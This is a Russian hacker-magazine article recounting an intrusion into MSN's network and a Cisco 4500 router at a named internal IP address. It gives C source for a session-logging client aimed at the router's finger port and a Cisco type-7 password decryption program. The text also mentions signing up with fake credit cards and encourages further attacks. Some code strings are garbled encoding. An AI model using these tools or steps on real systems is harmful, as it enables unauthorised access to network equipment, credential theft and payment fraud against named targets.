Настольная книга компьютерного исследователя


Msn Hkl

 Сколько раз всеми любимую компанию крутили на определенном половом органе? Достаточно много — это будет сказано очень мягко. Здесь осветится один из многочисленных разов, который в данный момент не особо актуален, но для образовательных целей вполне подойдет. MSN имеет входы в свои интранеты по всему миру, из разных сеток и т.д. Чем приятен Usa SprintNet, тем что многие nua с радостью принимают юзеров без оплаты. Microsoft имеет большую, я бы сказал кучу, Nua дающих не закрытый аккаунтом ppp в msn intranet. Конечно на самом деле есть и зыкрытые msn nua, и входы через compuserve, и многие другие, но сейчас суть не в этом. Попав каким бы то не было способом в MSN, обнаруживается юзерский диапазон динамических ip в 207.46.161.* области. В области 207.46.152.* — находится рассадник http, https, some fingers, etc. На одном из таких адресов (До сих пор!) проходит регистрация по скажем так не совсем существующим кредиткам. После чего можно использовать soft поставляющийся в стандарте с большинством «окнами», и пользовать своебразные службы, браузер и т.д. Но и опять не в этом суть. Чуть покапавшись — мы видим куда ведут все пути. А все пути ведут к 207.46.160.7 кошке. (И прочим,типа 2,5,15). Проделав рутинную работу выесняется что кроме xot’a , кучи телнетов, имется finger. Вроде-бы достаточно обыденный сервис, но кто знает? После некоторых эксперементов с finger, мы попадаем в кошачью консоль, с догадайтесь каким уровнем привелегий ?

/*--Cisco wellcome----------------------------------------------------------*/
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define TRASHSEND_STAT_CNT_NEED 200000
#define LOG_PATH "/var/log/cisco_telnet.log"

int sock, cur_flags, log;
struct sockaddr_in remote;
int r, trashsend_stat, trashsend_stat_cnt;
unsigned char ch, s[50], find_buf[15];
int find_buf_size = sizeof(find_buf) - 1;

unsigned char *find_need = "iuscsignuc4702>";
int find_need_size = 15;

unsigned char *find_buf_beg;
int port = 79;

char month_list[36] = "ё++ц++э+Tс¦Tэ+¦щL+щL¦с+¦є++яTLю¦Tф+T";

void get_time(char *buf)
{
    time_t stime;
    struct tm *ttime;
    char ltime[20];
    stime = time(0);
    ttime = localtime(&stime);
    sprintf(buf,"%s%d ",(ttime->tm_mday < 10)?"0":"",ttime->tm_mday);
    strncat(buf,(char*)&month_list[ttime->tm_mon * 3],3);
    sprintf(ltime," %s%d:%s%d:%s%d",
          (ttime->tm_hour < 10)?"0":"",ttime->tm_hour,
          (ttime->tm_min  < 10)?"0":"",ttime->tm_min,
          (ttime->tm_sec  < 10)?"0":"",ttime->tm_sec);
    strcat(buf,(char*)&ltime);
}

void res_addr(struct sockaddr *addr, char *hostname)
{
    struct sockaddr_in *address;
    struct hostent *host;
    address = (struct sockaddr_in *)addr;
    (void) bzero((char *)address, sizeof(struct sockaddr_in));
    address->sin_family = AF_INET;
    address->sin_port = htons(port);
    address->sin_addr.s_addr = inet_addr(hostname);
    if ((int)address->sin_addr.s_addr == -1)
    {
        printf("ю+ =¦¦- T+-T+-гL+ +-T+L!");
        exit(3);
    }
}

int readsock(int fd, char *buf, size_t count)
{
    int res;
    res = read(fd,buf,count);
    if (res == -1)
    {
        switch (errno)
        {
            case EAGAIN: return  0;
            case  EPIPE: return -1;
            default: printf("є¦+-г+++г+ ¦T¦T+++¦ ¦¦ ++-LL++¦+¦+++¦¦ ¦Tг¦г++\n");
                     exit(1);
        }
    }
    return res;
}

int readstd(int fd, char *buf, size_t count)
{
    int res;
    res = read(fd,buf,count);
    if (res == -1 && errno == EAGAIN) return 0;
    return res;
}

int writesock(int fd, char *buf, size_t count)
{
    int res;
    res = write(fd,buf,count);
    if (res == -1)
    {
        switch (errno)
        {
            case EAGAIN: return  0;
            case  EPIPE: return -1;
            default: printf("є¦+-г+++г+ ¦T¦T+++¦ ¦¦ ++-LL++¦+¦+++¦¦ ¦Tг¦г++\n");
                     exit(1);
        }
    }
    return res;
}

void connecter()
{
    while ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("socket");
        sleep(5);
    }

    while (connect(sock,(struct sockaddr *)&remote, sizeof(remote)) < 0)
    {
        perror("connect");
        sleep(5);
    }
    printf("\nЁTгT¦+++TLг¦гL+ T %s:%i\n",(char*)inet_ntoa(remote.sin_addr),port);
    writesock(sock,"\r",1);

    cur_flags = fcntl(sock,F_GETFL);
    fcntl(sock,F_SETFL,cur_flags | O_NONBLOCK);
    trashsend_stat = 0;
    trashsend_stat_cnt = 0;
}

void catch_pipe()
{
    printf("ї-+¦+++-¦ L¦LL -+TT-¦ L¦+-г+++г+\n");
    close(sock);
    connecter();
}

void find_buf_move()
{
    int i;
    for (i = 0; i < find_buf_size; i++) find_buf[i] = find_buf[i + 1];
}

int main(int argc, char *argv[])
{
    struct sigaction act;

    if (argc < 2 || argc > 3)
    {
        printf("ЁT¦¦+ -¦T ¦¦-T¦L¦++гT T TгLT+=.\nр-+L+ L+T: %s <L¦LL> [<¦¦TL>]\n",
            argv[0]);
        exit(1);
    }
    if (argc == 3) port = atoi(argv[2]);
    if ((log = open(LOG_PATH,O_WRONLY | O_CREAT | O_APPEND,0600)) == -1)
    {
        printf("ю+ =¦¦- ¦LTT-L+ ¦¦¦-¦+¦¦\n");
        exit(1);
    }
    find_buf_beg = (char*)&find_buf;
    find_buf_beg += (sizeof(find_buf) - find_need_size);
    sigemptyset(&act.sa_mask);
    sigaddset(&act.sa_mask,SIGPIPE);
    act.sa_handler = catch_pipe;
    act.sa_flags = 0;
    if (sigaction(SIGPIPE,&act,0) == -1) perror("sigaction");
    cur_flags = fcntl(0,F_GETFL);
    fcntl(0,F_SETFL,cur_flags | O_NONBLOCK);
    res_addr((struct sockaddr*)&remote,argv[1]);
    connecter();

    while (1)
    {
        for (r = 1; r != 0;)
        {
            r = readsock(sock,&ch,1);
            if (r > 0)
            {
                int cmpres;
                write(1,&ch,1);
                if (trashsend_stat == 1) write(log,&ch,1);
                find_buf_move();
                find_buf[find_buf_size] = ch;
                cmpres = strncmp(find_buf_beg,find_need,find_need_size);
                if (cmpres == 0 && trashsend_stat == 0)
                {
                    write(log,"\n--------------------------------------------------------------------------------\n",82);
                    write(log," ",1);
                    get_time((char*)&s);
                    write(log,(char*)&s,strlen((char*)&s));
                    sprintf((char*)&s," / ЁTгT¦+++TLг¦гL+ T [%s:%i]\n",(char*)inet_ntoa(remote.sin_addr),port);
                    write(log,(char*)&s,strlen((char*)&s));
                    write(log,"--------------------------------------------------------------------------------\n",81);
                    trashsend_stat = 1;
                }
            }
        }
        for (r = 1; r != 0;)
        {
            r = readstd(0,&ch,1);
            if (r > 0) writesock(sock,&ch,1);
        }
        if (trashsend_stat == 0)
        {
            if (trashsend_stat_cnt == TRASHSEND_STAT_CNT_NEED)
            {
                writesock(sock,"\r",1);
                trashsend_stat_cnt = 0;
            }
            else trashsend_stat_cnt++;
        }
    }
    close(sock);
    exit(0);
}

/*---EOF--------------------------------------------------------------------*/

Вот мы и на кошке. Теперь стоит оглядеться.

;—————————————————————————-
iuscsignuc4702>sh tech

Cisco Internetwork Operating System Software
IOS ™ 4500 Software (C4500-JS-M), Version 12.0(7)T, RELEASE SOFTWARE (fc2)
Copyright (c) 1986-1999 by cisco Systems, Inc.
Compiled Tue 07-Dec-99 11:41 by phanguye
Image text-base: 0×60008908, data-base: 0x60F08000
………
etc.

;—EOF———————————————————————-

4500 киса, 12-ый IOS. Что есть cisco 4500? Это маршрутизатор среднего класса, «Заточенный» для построения высокоскоростных сетей и проведения всестороннего анализа трафика и качества сервиса (QoS). (Как кстати и cisco4700). Комбинируя в маршрутизаторе Cisco 4500 или Cisco 4700 две любые версии модулей, можно получить 36 последовательных портов и эффективно использовать их для интеграции низкоскоростного трафика различных типов. Вообще существует серия Cisco 4000 включающая в себя 3 рутера:

Cisco 4000-M,
Cisco 4500-M,
Cisco 4700-M.

Каждая модель (и конечно 4500) имеет flash память с IOS (Операционная система Cisco, но об этом возможно в другой раз).

Краткая характеристика Cisco 4500-M:

  • Процессор: IDT Orion RISC, 64-bit, 100-MГц;
  • 3 слота расширения для модулей NPM;
  • Память: основная DRAM — 16 МБ (расширяется до 32 МБ), системная Flash — 4 МБ, загрузочная Flash — 4 МБ, разделяемая DRAM — 4 МБ;
  • Трансляция протоколов Telnet, LAT (local-area transport), X.25;
  • Полный набор функций ПО Cisco IOS.

Кстати сказать, примерная цена на этот маршрутизатор, включая в себя все навороты , типа:
Cisco 4500-M Modular Multiprotocol Router
Cisco 4000 Series IOS Enterprise Feature Set
6-Port Ethernet 10Base-T NP Module
4 Serial Ports NP Module
Male DTE RS-232 Cable, 10 Foot
Cisco 4500 SMARTnet Maintenance

Составляет порядка 28 тысяч $. И уж находясь на таком самолете, явно хочется получить enable? Алгоритм криптовки простой. За хороший нужно еще доплатить немалую сумму. Чего делают не так часто, как стоило бы. Вот «рутшеловский» исходник декриптовки cisco паролей:

/*--------------------------------------------------------------------------*/
/* Cisco password decryption
Summary
Description: Cisco passwords can be trivially decrypted although this isn't
really the fault of Cisco (since the router itself needs to be able to decrypt
them).
Author: Jared Mauch <[email protected]>
Compromise: Obtain extra access to Cisco routers
Vulnerable Systems: Cisco routers
Date: 11 November 1997
Details

*/

/* This code is originally from a Bugtraq post by
   Jared Mauch <[email protected]> . I patched it with an improved
   translation table by Janos Zsako <[email protected]>
   -Fyodor ([email protected]) */

#include <string.h>
#include <stdio.h>
#include <ctype.h>

char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};

char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";

char *pname;

cdecrypt(char *enc_pw, char *dec_pw)
{
        unsigned int seed, i, val = 0;

        if(strlen(enc_pw) & 1)
                return(-1);

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);

        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }

                val *= 16;

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }

                if(strlen(enc_pw) != i)
                        return(-1);
        }

        dec_pw[++i / 2] = 0;

        return(0);
}

usage()
{
        fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
        fprintf(stdout, "       %s <router config file> <output file>\n",pname);
        return(0);
}

main(int argc,char **argv)
{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;

        pname = argv[0];

        if(argc > 1)
        {
                if(argc > 3) {
                        usage();
                        exit(1);
                }

                if(argv[1][0] == '-')
                {
                        switch(argv[1][1]) {
                                case 'h':
                                usage();
                                break;

                                case 'p':
  memset(passwd,'\0', sizeof(passwd));
                                if(cdecrypt(argv[2], passwd)) {
                                        fprintf(stderr, "Error.\n");
                                        exit(1);
                                }
                                fprintf(stdout, "password: %s\n", passwd);
                                break;

                                default:
                                fprintf(stderr, "%s: unknow option.", pname);
                        }

                        return(0);
                }

                if((in = fopen(argv[1], "rt")) == NULL)
                        exit(1);
                if(argc > 2)
                        if((out = fopen(argv[2], "wt")) == NULL)
                                exit(1);
        }

        while(1) {
                for(i = 0; i < 256; i++) {
                        if((line[i] = fgetc(in)) == EOF) {
                                if(i)
                                        break;

                                fclose(in);
                                fclose(out);
                                return(0);
                        }
                        if(line[i] == '\r')
                                i--;

                        if(line[i] == '\n')
                                break;
                }
                pw_pos = 0;
                line[i] = 0;

                if(!strncmp(line, pw_str1, strlen(pw_str1)))
                        pw_pos = strlen(pw_str1);

                if(!strncmp(line, pw_str2, strlen(pw_str2)))
                        pw_pos = strlen(pw_str2);
  if(!strncmp(line, pw_str3, strlen(pw_str3)))
   pw_pos = strlen(pw_str3);
  if(!strncmp(line, pw_str4, strlen(pw_str4)))
   pw_pos = strlen(pw_str4);

                if(!pw_pos) {
                        fprintf(stdout, "%s\n", line);
                        continue;
                }

  memset(passwd,'\0', sizeof(passwd));

                if(cdecrypt(&line[pw_pos], passwd)) {
                        fprintf(stderr, "Error.\n");
                        exit(1);
                }
                else {
                        if(pw_pos == strlen(pw_str1))
                                fprintf(out, "%s", pw_str1);
                        else if (pw_pos == strlen(pw_str2))
                                fprintf(out, "%s", pw_str2);
   else if (pw_pos == strlen(pw_str3))
    fprintf(out, "%s", pw_str3);
   else if (pw_pos == strlen(pw_str4))
    fprintf(out, "%s", pw_str4);

                        fprintf(out, "%s\n", passwd);
                }
        }
}

/*---EOF--------------------------------------------------------------------*/

Посмотрев ip route/x25 route/arp cash — находим кучу интересных адресков. Среди которых имеется и тот, откуда киса берет свое начало, и конечно с ftp. Ну и дальше все понятно. Дело остается только в полете извращенной и злой фантазии.



©2015 Журнал Хакера Entries (RSS) and Comments (RSS)